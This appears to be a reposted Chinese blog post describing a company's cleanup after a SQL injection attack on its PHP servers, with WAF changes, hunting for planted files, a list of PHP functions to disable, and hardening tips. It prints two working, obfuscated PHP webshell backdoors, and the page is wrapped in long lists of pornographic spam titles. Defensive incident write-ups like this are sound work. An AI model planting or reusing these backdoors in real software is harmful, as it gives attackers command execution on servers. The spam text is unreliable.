久久亚洲精品成人_国产精品欧美综合亚洲_亚洲va天堂va欧美ⅴa在线_91色视频在线观看_久久影院亚洲_一级黄色片播放_日韩av在线一区_精品一区二区在线看_老头吃奶性行交视频_日韩免费高清视频_天天操天天爽天天干_日本欧美在线视频

首頁 > 數據庫 > SQL Server > 正文

淺談一次與sql注入 & webshell 的美麗“邂逅”

2024-08-31 01:05:31
字體:
來源:轉載
供稿:網友

引言

一波未平,一波又起。金融公司的業務實在是太引人耳目,何況我們公司的業處正處于風口之上(區塊鏈金融),并且每天有大量現金交易,所以不知道有多少躲在暗處一直在盯著你的系統,讓你防不勝防,并且想方設法的找到突破點,以達到的目的來獲取非法利益。

俗話說:“道高一尺,魔高一丈”。系統和代碼也可以這么理解,防的在好,總有漏洞。系統和代碼也沒有絕對的安全。該來的總會來......

sql注入與“她”相遇

某一天,天氣晴朗,心情舒暢。“她”來了,打破了筆者的美好時光。下午2點多鐘,筆者和朋友在蘇州街的天使匯二樓極客咖啡參加某個云廠商的Kubernetes一場技術沙龍,正聽得興致勃勃的時候,筆者的公司群里有個php開發突然帖出一張圖:

sql注入,webshell

這個時候,群里翻騰了。沒錯,被SQL注入了,數據庫的表被注入了字段,并且經檢查后,發現這個庫中的大部分表都被注入了這個字段。我的電腦沒帶在身邊,真是著急,馬上跟總監說明問題嚴重性。由于我電腦不在身邊, 只能把數據庫賬號授權(讀寫權限)給那個php開發,讓他檢查所有的表,把被注入的字段刪除掉。并查看數據和其它表有沒有被修改。好在發現急時,數據和業務都沒有被丟失和損壞。

這里我要說明一下,我們的業務都在阿里云,項目是以php為主,并且開通了waf防火墻,只是waf上的防護措施比較寬松。筆者在安全方面的經驗也比較欠缺,好在開通了阿里云的WAF,讓筆者在排查和防護上也變得輕松和快捷。

此時,我已經在回家的路上,回到家中迅速打開電腦。

調整waf策略

由于筆者也是剛接手工作,阿里云上的很多策略還沒得到及時調整。所以才這么容易被攻進來。即然被注入了,肯定要把源給揪出來。我也在次把所有的表都檢查一遍,確認沒問題后,在去調整waf策略,進入阿里云。

1、進入相關域名的防護配置,我們先來看下調整前的策略,如下圖:

sql注入,webshell

sql注入,webshell

從上圖可以看出,“Web應用防護”策略是寬松模式,其主要作用就是防護SQL注入、XSS跨站等常見Web應用,寬松模式下對業務的誤報程度最低,但也容易漏過***。“惡意IP懲罰”也沒啟用。這么寬松的防護措施風險比較大。趕緊先調整吧。

2、調整后的策略(如有多個域名,都調整過來),如下圖:

sql注入,webshell

防護策略調整過了,還需要把問題根源找到啊,這才是最重要的!!!

查找可疑文件

此時,php的項目源碼分布在好幾臺服務器上,如果靠傳統方式去排查,挨個檢查這些服務器的目錄,各種能用的命令都用上了,是不是也挺費勁費時的,還不知道要查到啥時候。這個時候,阿里有項服務起到關鍵的作用了:“態勢感知”,這個需要升級為企業版本(費用不高,我們公司開通了一年,費用6000多塊)。這就是用阿里的好處(不是打廣告),確實讓你省心。

1、進入“態勢感知”查看一下,就立馬發現了一堆異常行為,遍布在好幾臺服務器上如下圖:

sql注入,webshell

2、點幾個異常行為進入看看,我就打開其中兩個行為看一下,其它的行為也都差不多,如下圖:

sql注入,webshell

sql注入,webshell

從命令行參數中可以看出相關目錄有/Mode/Lite/ ,并且給出的解決方案是及時排查可疑目錄下的信息并及時清除。筆者順著給出的提示在服務器上進行 find 相關目錄,查找出目錄所在路徑,如下圖:

sql注入,webshell

順藤摸瓜吧,列一下這個目錄的文件:

sql注入,webshell

從上圖發現了有兩個異常的php文件,目錄屬主也和其它文件不一樣,筆者打開代碼倉庫也進入相同的目錄進行比對,代碼倉庫中確實沒有這兩個文件。為了確認清楚,把這兩個文件down下來發給開發。開發說項目中沒有這兩個文件。把它down下來打開文件看看:

Content.class.php文件內容:

<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>}

這代碼不就是被注入的表里的字段嗎,上面這段代碼大概意思為:把post請求的兩個參數,一個用base64解密,一個用hex2bin轉成16進制,然后拼接在一起,應該是把操作數據庫的語句加密傳過來,然后解密,這樣就不會被攔截掉。如果哪位博友認為解釋的有誤,一定要提出來。

Lite.class.php文件內容:

<?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){  $page = $_REQUEST['error'];  $limit = $_REQUEST['limit'];  $func = base64_decode(str_rot13(strrev($limit)));  $func(base64_decode(str_rot13(strrev($page))));  exit;

上面的代碼其實和之前的那段代碼有共性,反轉字符串然后ROT13 編碼,然后base64解碼,最后按照 PHP 代碼來計算,至于base64_decode,str_rot13,strrev是為了繞過WAF等安全設備的過濾。

已經很明顯了,就是由上面這些代碼文件Content.class.php等文件給注入的。不用想了:rm -rf 吧。這個動態感知還是挺好用的,能快速定位到風險目錄,讓你減少排查的時間和精力。

為了保險起見,繼續排查一下其它的目錄是否也存在可疑文件,一定要排查干凈了,操作一定要小心,也別誤刪,果然在同級目錄下又發現一個,如下圖:

sql注入,webshell

還有一個,如下圖:

sql注入,webshell

和代碼倉庫、開發的對比,可以確定這兩個也是***傳進來的可疑文件,我有一個習慣,刪除文件之前喜歡備份到本地。備份好這些可疑文件到本地之,都徹底清除掉。

雖然都清除掉了,waf防火墻也調整了,但是也沒有絕對的安全,還需要把php這些危險的函數禁用掉,比如禁用phpinfo、exec()、system()等:

phpinfo()功能描述:輸出 PHP 環境信息以及相關的模塊、WEB 環境等信息。危險等級:中passthru()功能描述:允許執行一個外部程序并回顯輸出,類似于 exec()。危險等級:高exec()功能描述:允許執行一個外部程序(如 UNIX Shell 或 CMD 命令等)。危險等級:高system()功能描述:允許執行一個外部程序并回顯輸出,類似于 passthru()。危險等級:高chroot()功能描述:可改變當前 PHP 進程的工作根目錄,僅當系統支持 CLI 模式PHP 時才能工作,且該函數不適用于 Windows 系統。危險等級:高scandir()功能描述:列出指定路徑中的文件和目錄。危險等級:中chgrp()功能描述:改變文件或目錄所屬的用戶組。危險等級:高chown()功能描述:改變文件或目錄的所有者。危險等級:高shell_exec()功能描述:通過 Shell 執行命令,并將執行結果作為字符串返回。危險等級:高proc_open()功能描述:執行一個命令并打開文件指針用于讀取以及寫入。危險等級:高proc_get_status()功能描述:獲取使用 proc_open() 所打開進程的信息。危險等級:高ini_alter()功能描述:是 ini_set() 函數的一個別名函數,功能與 ini_set() 相同。具體參見 ini_set()。危險等級:高ini_set()功能描述:可用于修改、設置 PHP 環境配置參數。危險等級:高ini_restore()功能描述:可用于恢復 PHP 環境配置參數到其初始值。危險等級:高dl()功能描述:在 PHP 進行運行過程當中(而非啟動時)加載一個 PHP 外部模塊。危險等級:高pfsockopen()功能描述:建立一個 Internet 或 UNIX 域的 socket 持久連接。危險等級:高symlink()功能描述:在 UNIX 系統中建立一個符號鏈接。危險等級:高popen()功能描述:可通過 popen() 的參數傳遞一條命令,并對 popen() 所打開的文件進行執行。危險等級:高putenv()功能描述:用于在 PHP 運行時改變系統字符集環境。在低于 5.2.6 版本的 PHP 中,可利用該函數修改系統字符集環境后,利用 sendmail 指令發送特殊參數執行系統 SHELL 命令。危險等級:高禁用方法如下:打開/etc/php.ini文件,查找到 disable_functions ,添加需禁用的函數名,如下:phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

趁著這次事件,把其它服務器也一并排查一下吧,需要點耐心慢慢排查,***把這些可疑文件偽裝的非常好,繞過了waf墻,人的肉眼不仔細看它都看不出來,所以還是要自己細心一點干活。

需要聲明一下:每個人的做事方式都不一樣,本文只是把筆者遇到的事件分享給大家,僅作為交流和學習。

名詞解釋

sql注入:

所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。具體來說,它是利用現有應用程序,將(惡意的)SQL命令注入到后臺數據庫引擎執行的能力,它可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。 比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字符暴出的,這類表單特別容易受到SQL注入式***.

webshell:

webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做為一種網頁后門。了一個網站后,通常會將asp或php后門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然后就可以使用瀏覽器來訪問asp或者php后門,得到一個命令執行環境,以達到控制網站服務器的目的。
顧名思義,“web”的含義是顯然需要服務器開放web服務,“shell”的含義是取得對服務器某種程度上操作權限。webshell常常被稱為***者通過網站端口對網站服務器的某種程度上操作的權限。由于webshell其大多是以動態腳本的形式出現,也有人稱之為網站的后門工具。

安全防范小結

歸納一下,主要有以下幾點:
1.永遠不要信任用戶的輸入。對用戶的輸入進行校驗,可以通過正則表達式,或限制長度;對單引號和雙"-"進行轉換等。
2.永遠不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
3.永遠不要使用管理員權限的數據庫連接,為每個應用使用單獨的權限有限的數據庫連接。
4.不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
5.應用的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。
6.sql注入的檢測方法一般采取輔助軟件或網站平臺來檢測,軟件一般采用sql注入檢測工具jsky,網站平臺就有億思網站安全平臺檢測工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS***等。

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持VeVb武林網。


注:相關教程知識閱讀請移步到MSSQL教程頻道。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
国产成人精品视频| 国产亚洲欧美在线精品| 欧洲视频一区二区三区| 97视频在线免费观看| 亚洲精品中文字幕女同| 欧美日韩一区二区在线观看视频| 国产清纯在线一区二区www| 丝袜美腿亚洲综合| 国产黄色片网站| 日本视频www| 手机免费观看av| 黄色三级视频在线播放| 青青青青草视频| 51ⅴ精品国产91久久久久久| 热久久这里只有精品| 免费成人在线视频网站| 国产suv一区二区| 欧洲一区在线电影| 久久久国产精品视频| 超碰国产精品久久国产精品99| 捆绑调教美女网站视频一区| a级黄色片网站| 国产日韩精品综合网站| 欧美男插女视频| 日韩中文av在线| 精品视频在线导航| 欧美一级片免费看| 欧美色窝79yyyycom| 日韩欧美成人精品| 欧美影院一区二区三区| 色婷婷久久99综合精品jk白丝| 一区二区激情视频| 一区二区在线电影| 午夜精品一区在线观看| 亚洲高清免费观看| 婷婷国产在线综合| 欧洲av一区二区嗯嗯嗯啊| 黄色一区二区在线观看| 午夜不卡av免费| 亚洲成a人在线观看| 精品美女久久久久久免费| 精品国产91乱高清在线观看 | 天堂在线中文在线| 熟女性饥渴一区二区三区| 久激情内射婷内射蜜桃| 北条麻妃69av| 中国黄色片免费看| 精品伦一区二区三区| www.免费av| 网站永久看片免费| xxxx.国产| 黑人精品无码一区二区三区AV| 免费在线观看黄网站| 最近日韩免费视频| 性少妇videosexfreexxx片| 亚洲 精品 综合 精品 自拍| 捆绑调教美女网站视频一区| 成人91在线观看| 国产精品美女一区二区| 一区二区三区日韩欧美精品| 色悠悠亚洲一区二区| 日韩一区二区三区在线| 亚洲欧洲国产精品| 欧美高清在线观看| 成人av色在线观看| 无码免费一区二区三区免费播放| 午夜一区在线观看| 91精品免费看| 午夜视频www| 亚洲成人av在线| 99久久国产综合精品色伊| 一本色道久久88综合日韩精品| 成人精品小视频| 4438成人网| 亚洲国产成人私人影院tom| 国产一卡二卡三卡四卡| av中文字幕亚洲| 99riav国产精品视频| 91嫩草国产在线观看| 国产欧美一区二区精品婷婷 | 欧洲视频一区二区| 日韩精品一区二区免费| av成人动漫在线观看| 国产精品一区二区免费| 视频一区中文字幕国产| 久久99精品久久久水蜜桃| 免费的国产精品| 91亚洲va在线va天堂va国| 日本黄色大片视频| 日韩欧美视频一区二区三区四区 | 亚洲日本一区二区| 亚洲国产日韩综合一区| 麻豆久久久久久久| 亚洲毛片aa| 国产精品美女久久久久久久久| 日本不卡一区二区三区四区| 久久亚洲精品国产精品紫薇 | 涩视频在线观看| 亚洲欧美精品伊人久久| 中文字幕永久免费视频| 91亚洲va在线va天堂va国| 成人18视频在线播放| 久久精品国产一区二区三区日韩 | 人妻互换一二三区激情视频| 亚洲福利电影网| 欧美日韩在线不卡视频| 91美女蜜桃在线| wwwwww.色| 在线国产亚洲欧美| 日本特黄特色aaa大片免费| 深夜福利国产精品| 中文字幕欧美在线观看| 日本成人黄色| 欧美精品二区三区四区免费看视频| 永久免费精品影视网站| 97人人做人人人难人人做| 少妇人妻互换不带套| 欧美丰满艳妇bbwbbw| 狠狠v欧美v日韩v亚洲ⅴ| 午夜伦欧美伦电影理论片| 久久成人人人人精品欧| 黄频视频在线观看| 快灬快灬一下爽蜜桃在线观看| 欧美自拍偷拍第一页| 亚洲成人自拍一区| 欧美性视频网站| 免费在线观看亚洲视频| 日韩av女优在线观看| 久久综合国产精品| 中文字幕日韩av| 亚洲成人在线视频网站| 欧美风情第一页| 成人免费毛片嘿嘿连载视频| 亚洲精品第一国产综合精品| 久久伦理网站| 色老板免费视频| 99精品久久免费看蜜臀剧情介绍| 亚洲国产精品久久精品怡红院| 国产女人水真多18毛片18精品 | 亚洲日本香蕉视频| 午夜欧美视频在线观看| 国产精品青青在线观看爽香蕉| 三区视频在线观看| 久久婷婷亚洲| 国产片高清在线观看| 图片区小说区国产精品视频| 国产精品99久久久久久白浆小说| 正在播放国产对白害羞| av日韩一区二区三区| 国产一二三四五| 粉嫩av免费一区二区三区| 91亚洲精品丁香在线观看| 久久久国产视频91| 亚洲人成网站色ww在线| 欧美日韩高清影院| 色国产综合视频| 亚洲色图清纯唯美| 国产大陆a不卡| 91香蕉视频污在线| 91免费观看视频在线| 韩国女主播成人在线观看| 亚洲精品福利网站| 99热这里只有精品66| 国产视频在线观看免费| 亚洲av综合色区无码一区爱av| 一区二区在线免费观看视频| 18岁视频在线观看| 亚洲xxx视频| 亚洲成人黄色网| 欧美日韩精品免费观看视频| 91精品国产日韩91久久久久久| 99视频网站| 日韩毛片在线观看| 成年人午夜免费视频| 少妇高潮一区二区三区69| 人禽交欧美网站| 国产一区二区动漫| www.久久av.com| 国产 日韩 亚洲 欧美| 鲁一鲁一鲁一鲁一色| 日本人69视频| 佐山爱在线视频| a级片在线观看视频| 一本一本久久a久久| 日韩免费视频网站| 一本色道久久综合无码人妻| 奇米在线7777在线精品| 国产欧美日本一区二区三区| 国产精品网曝门| 欧美日韩精品系列| 国产亚洲欧美日韩美女| 国产成人精品免高潮在线观看| 久久综合九色99| 日韩av黄色网址| 波多野结衣影院| 日本妇女毛茸茸| 国产主播一区二区三区| 成人av电影在线网| 久久久蜜臀国产一区二区| 国产传媒日韩欧美成人| 热久久久久久久| 亚洲一区二区三区影院| 欧美激情在线观看视频| 日本中文字幕免费| 久久永久免费| 欧美极品xxxx| 久久高清内射无套| 国产99久久九九精品无码免费| 欧美日韩综合在线| aaa毛片在线观看| 视频在线观看91| 在线观看日产精品| 日本欧美黄网站| 久久黄色片视频| 超薄肉色丝袜一二三| 日韩av一区二区在线影视| 99久久精品国产毛片| 欧美一级淫片007| 国产日韩欧美在线看| 超碰影院在线观看| 日韩不卡高清视频| 99视频精品免费视频| 欧美v日韩v国产v| 99精品热视频| 精品精品国产国产自在线| 国产又粗又爽又黄的视频| 99成人在线观看| 99久久精品99国产精品| 日韩在线一区二区三区免费视频| 欧美 亚洲 视频| 国产一二三四在线视频| 亚洲黄色三级视频| 高清久久久久久| 亚洲国产精品精华液ab| 一本色道久久88综合亚洲精品ⅰ | 欧美经典一区二区| 亚洲第一视频在线观看| www.黄色网| 欧美视频精品一区| 91精产国品一二三产区别沈先生| 精品美女在线观看| 视频一区二区三| 国产成人精品a视频| 欧美日韩一区二区欧美激情| 日本不卡久久| 亚洲中文字幕在线一区| 色婷婷狠狠综合| 亚洲mv在线看| 国产熟女精品视频| 亚洲欧洲在线观看| www.午夜av| 国产人伦精品一区二区| 97神马电影| 久久久久久久亚洲| 欧美精品一区二区三区视频 | 免费无码国产精品| 欧美一区二区三区人| 视频一区亚洲| 国产精品一区在线观看你懂的| 欧美三级午夜理伦三级中视频| 国产精品天干天干在线综合| av动漫在线免费观看| 国产视频一区不卡| 亚洲综合在线播放| 久久久免费高清视频| 久久久久人妻一区精品色欧美| 国产老妇另类xxxxx| 17婷婷久久www| 久久久亚洲av波多野结衣| 亚洲女厕所小便bbb| 黑人中文字幕一区二区三区| 国产在线观看一区二区| 日韩电影大全免费观看2023年上| 欧美一级特黄高清视频| 久久精品国产电影| 国产裸体永久免费无遮挡| 国产精品高潮呻吟久久av黑人| 日韩电影在线观看电影| 亚洲欧洲精品一区二区| 亚洲猫色日本管| 国产精品无码一区二区三| 国产视频久久久久| 亚洲一级视频在线观看| 69174成人网| 91在线观看地址| 亚洲无吗一区二区三区| 精品国产一二三区| 无码人妻黑人中文字幕| 亚洲综合日韩中文字幕v在线| 成人夜色视频网站在线观看| 热久久精品免费视频| 91精品国产91久久综合桃花| 日韩女优在线观看| 成人黄色短视频在线观看| 99精品视频在线观看| 日本精品一区在线| 国产午夜精品久久久| 国产夫妻自拍av| 在线不卡日本| 欧洲精品在线观看| 国产精品久久久久久99| 国产高清一区视频| 依依成人综合视频| 亚洲 欧美 国产 另类| 国产精品国语对白| 国产日韩三级在线| 国产又粗又硬视频| 国产成人综合精品在线| 成人污污视频在线观看| 日本wwwwwww| 精品国产三级a在线观看| 国产毛片在线视频| 好色先生视频污| 91福利视频网站| 美女毛片在线观看| 欧美激情一区二区三区久久久| 97免费资源站| 中文字幕亚洲区| 亚洲成a人片在线www| 精品激情国产视频| 亚洲福利在线视频| 成人做爰视频网站| 国产精品一区二区欧美黑人喷潮水 | 欧美激情第一页xxx| 国产在线一区观看| 中国特级黄色大片| 欧美在线www| 亚洲柠檬福利资源导航| 国产真人真事毛片| 亚洲天堂电影网| 日韩欧美成人激情| 日韩国产精品大片| 人妻互换一二三区激情视频| 国产精品人成电影| 欧美在线观看18| 久久精品官网| 毛茸茸free性熟hd| 99高清视频有精品视频| 欧美日韩国产综合草草| 久久久久久网| 懂色av粉嫩av蜜乳av| 91九色国产社区在线观看| 欧美性69xxxx肥| 五月激情丁香婷婷| 图片区偷拍区小说区| 91精品久久香蕉国产线看观看 | 成人3d动漫一区二区三区| 欧美黑人巨大精品一区二区| 亚洲欧洲日韩综合一区二区| 中文字幕精品无| 超碰在线97免费| 成人午夜激情免费视频| 在线电影欧美成精品| 韩国欧美国产1区| 少妇高潮一区二区三区喷水| 亚洲人成网站在线播放2019| 久久久精品999| 亚洲成人精品在线观看| 中文字幕色网站| 国产精品视频地址| 欧美一区二区三区免费视| 亚洲国产精品va在看黑人| 国产精品久久久久久久久免费相片 | 亚洲精品国产精品久久清纯直播 | 亚洲一区美女视频在线观看免费| 精品国产电影一区| 久久黄色网页| 天天操天天干天天操天天干| 台湾成人av| 久久成人av网站| 亚洲成人一区二区在线观看| 亚洲国产日韩在线观看| mm131美女视频| av磁力番号网| 茄子视频成人在线| 欧美军同video69gay| 成人国产精品免费网站| 亚洲精品午夜国产va久久成人| 小明看看成人免费视频| 精品国产乱码久久久久软件 | 999免费视频| 中文字幕无码人妻少妇免费| 亚洲精品在线免费看| 2019亚洲男人天堂| 欧美久久高跟鞋激| 国产欧美一区二区精品性色| 免费的黄色av| 青春草免费视频| 五月激情五月婷婷| 日韩一区免费观看| 日本在线精品视频| 日韩第一页在线| 亚洲午夜精品网| 国产suv精品一区二区三区| 一级特黄免费视频| 国产精品三级在线观看无码| 国产在线观看欧美| 成人免费看片网址| 欧美xxxx做受欧美.88| 日韩一卡二卡三卡四卡| 一区二区国产视频| 99国产欧美另类久久久精品| 日本黄色不卡视频| 精品久久久久久久久久久国产字幕| 野战少妇38p| 日韩久久一级片| 久久99久久99精品免观看粉嫩| 亚洲奶大毛多的老太婆| 亚洲综合成人婷婷小说| 免费成人在线视频网站|